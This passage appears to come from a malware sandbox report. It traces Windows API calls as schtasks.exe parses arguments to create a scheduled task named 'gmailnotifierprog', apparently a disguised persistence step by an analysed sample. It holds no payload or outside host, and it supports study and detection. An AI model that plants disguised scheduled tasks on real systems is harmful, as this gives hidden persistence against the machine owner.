"c:\\windows\\system32\\xmllite.dll") Thread: id = 138 os_tid = 0x11f0 [0108.167] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0108.167] __set_app_type (_Type=0x1) [0108.168] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0108.168] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0108.168] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0108.169] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0108.169] CsrIdentifyAlertableThread () returned 0x0 [0108.169] GetProcessHeap () returned 0x177cee70000 [0108.169] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74e90 [0108.169] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.169] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0108.169] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0108.169] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0108.169] RtlVerifyVersionInfo (VersionInfo=0x162dceefa0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0108.169] GetProcessHeap () returned 0x177cee70000 [0108.169] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74eb0 [0108.169] lstrlenW (lpString="") returned 0 [0108.169] GetProcessHeap () returned 0x177cee70000 [0108.169] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x2) returned 0x177cee74ed0 [0108.169] GetProcessHeap () returned 0x177cee70000 [0108.169] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee743e0 [0108.169] GetProcessHeap () returned 0x177cee70000 [0108.169] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74410 [0108.169] GetProcessHeap () returned 0x177cee70000 [0108.169] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee74430 [0108.169] GetProcessHeap () returned 0x177cee70000 [0108.169] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee74460 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee73fd0 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee791d0 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74000 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee791a0 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee79050 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee78fc0 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee79110 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.170] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74020 [0108.170] GetProcessHeap () returned 0x177cee70000 [0108.171] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee79080 [0108.171] GetProcessHeap () returned 0x177cee70000 [0108.171] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee790b0 [0108.171] GetProcessHeap () returned 0x177cee70000 [0108.171] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee79140 [0108.171] GetProcessHeap () returned 0x177cee70000 [0108.171] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee78ed0 [0108.171] SetThreadUILanguage (LangId=0x0) returned 0x409 [0108.172] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.172] GetProcessHeap () returned 0x177cee70000 [0108.172] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee78f60 [0108.172] GetProcessHeap () returned 0x177cee70000 [0108.172] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee78f00 [0108.173] GetProcessHeap () returned 0x177cee70000 [0108.173] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee78ff0 [0108.173] GetProcessHeap () returned 0x177cee70000 [0108.173] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee79020 [0108.173] GetProcessHeap () returned 0x177cee70000 [0108.173] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee790e0 [0108.173] GetProcessHeap () returned 0x177cee70000 [0108.173] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74c30 [0108.173] _memicmp (_Buf1=0x177cee74c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.173] GetProcessHeap () returned 0x177cee70000 [0108.173] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x208) returned 0x177cee79b10 [0108.173] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x177cee79b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0108.173] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x162dcef0f8 | out: lpdwHandle=0x162dcef0f8) returned 0x76c [0108.174] GetProcessHeap () returned 0x177cee70000 [0108.174] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x776) returned 0x177cee7a870 [0108.175] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x177cee7a870 | out: lpData=0x177cee7a870) returned 1 [0108.175] VerQueryValueW (in: pBlock=0x177cee7a870, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x162dcef090, puLen=0x162dcef0f0 | out: lplpBuffer=0x162dcef090*=0x177cee7ac20, puLen=0x162dcef0f0) returned 1 [0108.177] _memicmp (_Buf1=0x177cee74c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.177] _vsnwprintf (in: _Buffer=0x177cee79b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x162dcef068 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0108.177] VerQueryValueW (in: pBlock=0x177cee7a870, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x162dcef080, puLen=0x162dcef0e8 | out: lplpBuffer=0x162dcef080*=0x177cee7aa50, puLen=0x162dcef0e8) returned 1 [0108.177] lstrlenW (lpString="schtasks.exe") returned 12 [0108.177] lstrlenW (lpString="schtasks.exe") returned 12 [0108.177] lstrlenW (lpString=".EXE") returned 4 [0108.177] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0108.178] lstrlenW (lpString="schtasks.exe") returned 12 [0108.178] lstrlenW (lpString=".EXE") returned 4 [0108.178] _memicmp (_Buf1=0x177cee74c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.178] lstrlenW (lpString="schtasks") returned 8 [0108.178] GetProcessHeap () returned 0x177cee70000 [0108.178] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee79170 [0108.178] GetProcessHeap () returned 0x177cee70000 [0108.178] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee78ea0 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b890 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b800 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74c50 [0108.179] _memicmp (_Buf1=0x177cee74c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xa0) returned 0x177cee73870 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b3b0 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b620 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b3e0 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74c70 [0108.179] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.179] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x200) returned 0x177cee7bb40 [0108.179] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0108.179] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0108.179] GetProcessHeap () returned 0x177cee70000 [0108.180] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x30) returned 0x177cee73920 [0108.180] _vsnwprintf (in: _Buffer=0x177cee73870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x162dcef068 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0108.180] GetProcessHeap () returned 0x177cee70000 [0108.180] GetProcessHeap () returned 0x177cee70000 [0108.180] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7a870) returned 1 [0108.180] GetProcessHeap () returned 0x177cee70000 [0108.180] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7a870) returned 0x776 [0108.181] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7a870) returned 1 [0108.181] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="?") returned 1 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="create") returned 6 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="delete") returned 6 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="query") returned 5 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="change") returned 6 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="run") returned 3 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="end") returned 3 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] lstrlenW (lpString="showsid") returned 7 [0108.181] GetThreadLocale () returned 0x409 [0108.181] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.181] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.181] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.181] lstrlenW (lpString="/create") returned 7 [0108.182] lstrlenW (lpString="-/") returned 2 [0108.182] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.182] lstrlenW (lpString="?") returned 1 [0108.182] lstrlenW (lpString="?") returned 1 [0108.182] GetProcessHeap () returned 0x177cee70000 [0108.182] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee73ef0 [0108.182] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.182] GetProcessHeap () returned 0x177cee70000 [0108.182] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xa) returned 0x177cee73f10 [0108.182] lstrlenW (lpString="create") returned 6 [0108.182] GetProcessHeap () returned 0x177cee70000 [0108.182] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee73f30 [0108.182] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.182] GetProcessHeap () returned 0x177cee70000 [0108.182] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x14) returned 0x177cee73f50 [0108.182] _vsnwprintf (in: _Buffer=0x177cee73f10, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|?|") returned 3 [0108.182] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.182] lstrlenW (lpString="|?|") returned 3 [0108.182] lstrlenW (lpString="|create|") returned 8 [0108.182] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.182] lstrlenW (lpString="create") returned 6 [0108.182] lstrlenW (lpString="create") returned 6 [0108.182] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.182] GetProcessHeap () returned 0x177cee70000 [0108.182] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73f10) returned 1 [0108.182] GetProcessHeap () returned 0x177cee70000 [0108.182] RtlReAllocateHeap (Heap=0x177cee70000, Flags=0xc, Ptr=0x177cee73f10, Size=0x14) returned 0x177cee74260 [0108.182] lstrlenW (lpString="create") returned 6 [0108.182] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.182] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.182] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.182] lstrlenW (lpString="|create|") returned 8 [0108.182] lstrlenW (lpString="|create|") returned 8 [0108.182] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0108.182] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.183] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.183] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.183] lstrlenW (lpString="/tn") returned 3 [0108.183] lstrlenW (lpString="-/") returned 2 [0108.183] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.183] lstrlenW (lpString="?") returned 1 [0108.183] lstrlenW (lpString="?") returned 1 [0108.183] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.183] lstrlenW (lpString="tn") returned 2 [0108.183] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.183] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|?|") returned 3 [0108.183] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.183] lstrlenW (lpString="|?|") returned 3 [0108.183] lstrlenW (lpString="|tn|") returned 4 [0108.183] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.183] lstrlenW (lpString="create") returned 6 [0108.183] lstrlenW (lpString="create") returned 6 [0108.183] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.183] lstrlenW (lpString="tn") returned 2 [0108.183] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.183] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.183] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.183] lstrlenW (lpString="|create|") returned 8 [0108.183] lstrlenW (lpString="|tn|") returned 4 [0108.183] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0108.183] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.183] lstrlenW (lpString="delete") returned 6 [0108.183] lstrlenW (lpString="delete") returned 6 [0108.183] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.183] lstrlenW (lpString="tn") returned 2 [0108.183] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.183] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|delete|") returned 8 [0108.184] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.184] lstrlenW (lpString="|delete|") returned 8 [0108.184] lstrlenW (lpString="|tn|") returned 4 [0108.184] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0108.184] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.184] lstrlenW (lpString="query") returned 5 [0108.184] lstrlenW (lpString="query") returned 5 [0108.184] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.184] lstrlenW (lpString="tn") returned 2 [0108.184] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.184] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|query|") returned 7 [0108.184] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.184] lstrlenW (lpString="|query|") returned 7 [0108.184] lstrlenW (lpString="|tn|") returned 4 [0108.184] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0108.184] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.184] lstrlenW (lpString="change") returned 6 [0108.184] lstrlenW (lpString="change") returned 6 [0108.184] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.184] lstrlenW (lpString="tn") returned 2 [0108.184] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.184] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|change|") returned 8 [0108.184] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.184] lstrlenW (lpString="|change|") returned 8 [0108.185] lstrlenW (lpString="|tn|") returned 4 [0108.185] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0108.185] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.185] lstrlenW (lpString="run") returned 3 [0108.185] lstrlenW (lpString="run") returned 3 [0108.185] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.185] lstrlenW (lpString="tn") returned 2 [0108.185] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.185] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|run|") returned 5 [0108.185] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.185] lstrlenW (lpString="|run|") returned 5 [0108.185] lstrlenW (lpString="|tn|") returned 4 [0108.185] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0108.185] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.185] lstrlenW (lpString="end") returned 3 [0108.185] lstrlenW (lpString="end") returned 3 [0108.185] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.185] lstrlenW (lpString="tn") returned 2 [0108.185] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.185] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|end|") returned 5 [0108.185] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.185] lstrlenW (lpString="|end|") returned 5 [0108.185] lstrlenW (lpString="|tn|") returned 4 [0108.185] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0108.185] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.185] lstrlenW (lpString="showsid") returned 7 [0108.185] lstrlenW (lpString="showsid") returned 7 [0108.185] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.185] GetProcessHeap () returned 0x177cee70000 [0108.185] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74260) returned 1 [0108.185] GetProcessHeap () returned 0x177cee70000 [0108.185] RtlReAllocateHeap (Heap=0x177cee70000, Flags=0xc, Ptr=0x177cee74260, Size=0x16) returned 0x177cee74260 [0108.186] lstrlenW (lpString="tn") returned 2 [0108.186] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.186] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|showsid|") returned 9 [0108.186] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tn|") returned 4 [0108.186] lstrlenW (lpString="|showsid|") returned 9 [0108.186] lstrlenW (lpString="|tn|") returned 4 [0108.186] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.186] lstrlenW (lpString="/tn") returned 3 [0108.186] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.186] lstrlenW (lpString="/tn") returned 3 [0108.186] GetProcessHeap () returned 0x177cee70000 [0108.186] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x8) returned 0x177cee73f10 [0108.186] GetProcessHeap () returned 0x177cee70000 [0108.186] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b680 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.186] lstrlenW (lpString="gmailnotifierprog") returned 17 [0108.186] lstrlenW (lpString="-/") returned 2 [0108.186] StrChrIW (lpStart="-/", wMatch=0x67) returned 0x0 [0108.186] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] lstrlenW (lpString="gmailnotifierprog") returned 17 [0108.187] StrChrIW (lpStart="gmailnotifierprog", wMatch=0x3a) returned 0x0 [0108.187] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] lstrlenW (lpString="gmailnotifierprog") returned 17 [0108.187] GetProcessHeap () returned 0x177cee70000 [0108.187] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x24) returned 0x177cee7b950 [0108.187] GetProcessHeap () returned 0x177cee70000 [0108.187] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7ba40 [0108.187] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] lstrlenW (lpString="/sc") returned 3 [0108.187] lstrlenW (lpString="-/") returned 2 [0108.187] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.187] lstrlenW (lpString="?") returned 1 [0108.187] lstrlenW (lpString="?") returned 1 [0108.187] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.187] lstrlenW (lpString="sc") returned 2 [0108.187] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.187] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|?|") returned 3 [0108.187] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.187] lstrlenW (lpString="|?|") returned 3 [0108.187] lstrlenW (lpString="|sc|") returned 4 [0108.187] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.187] lstrlenW (lpString="create") returned 6 [0108.187] lstrlenW (lpString="create") returned 6 [0108.187] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.187] lstrlenW (lpString="sc") returned 2 [0108.187] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.187] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.188] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.188] lstrlenW (lpString="|create|") returned 8 [0108.188] lstrlenW (lpString="|sc|") returned 4 [0108.188] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0108.188] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.188] lstrlenW (lpString="delete") returned 6 [0108.188] lstrlenW (lpString="delete") returned 6 [0108.188] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.188] lstrlenW (lpString="sc") returned 2 [0108.188] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 